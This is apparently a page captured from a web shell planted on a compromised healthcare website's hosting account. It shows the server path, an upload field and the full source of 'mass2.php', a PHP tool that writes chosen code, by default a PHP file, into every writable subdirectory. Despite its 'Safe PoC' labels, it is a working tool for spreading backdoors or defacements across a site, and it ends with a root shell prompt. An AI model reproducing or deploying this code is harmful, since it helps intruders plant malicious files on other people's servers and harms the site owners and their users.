? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/crmhealthcare.in/public_html/
File Upload :
Current File : /home/u949514618/domains/crmhealthcare.in/public_html/mass2.php

<?php
// ⚠️ PoC ONLY — use on your own test environment

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $baseDir     = rtrim($_POST['directory'], '/');
    $fileName    = basename($_POST['filename']); // prevent path traversal
    $fileContent = $_POST['code'];

    if (!is_dir($baseDir)) {
        die("❌ Invalid base directory.");
    }

    $results = [
        'success' => [],
        'failed'  => []
    ];

    function createFileRecursively($dir, $fileName, $fileContent, &$results) {
        // Check if directory is writable
        if (is_writable($dir)) {
            $newFile = $dir . DIRECTORY_SEPARATOR . $fileName;

            // Write file (create new or overwrite)
            if (file_put_contents($newFile, $fileContent) !== false) {
                $results['success'][] = $newFile;
            } else {
                $results['failed'][] = $newFile . " (write failed)";
            }
        } else {
            $results['failed'][] = $dir . " (not writable)";
        }

        // Traverse subdirectories
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) {
                createFileRecursively($path, $fileName, $fileContent, $results);
            }
        }
    }

    createFileRecursively($baseDir, $fileName, $fileContent, $results);

    echo "<h3>✅ Completed</h3>";

    echo "<h4>Created successfully (" . count($results['success']) . "):</h4><ul>";
    foreach ($results['success'] as $s) {
        echo "<li>$s</li>";
    }
    echo "</ul>";

    echo "<h4>Skipped/Failed (" . count($results['failed']) . "):</h4><ul>";
    foreach ($results['failed'] as $f) {
        echo "<li>$f</li>";
    }
    echo "</ul>";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Recursive File Creator (Safe PoC)</title>
</head>
<body>
    <h2>Create File in All Subdirectories (Safe PoC)</h2>
    <form method="post">
        <label>Base Directory:</label><br>
        <input type="text" name="directory" value="<?php echo __DIR__; ?>" size="60"><br><br>

        <label>File Name:</label><br>
        <input type="text" name="filename" value="poc.php"><br><br>

        <label>File Content:</label><br>
        <textarea name="code" rows="8" cols="60"><?php echo "&lt;?php echo 'Hello from PoC'; ?&gt;"; ?></textarea><br><br>

        <button type="submit">Create Files</button>
    </form>
</body>
</html>

T1KUS90T
  root-grov@89.117.188.241:~$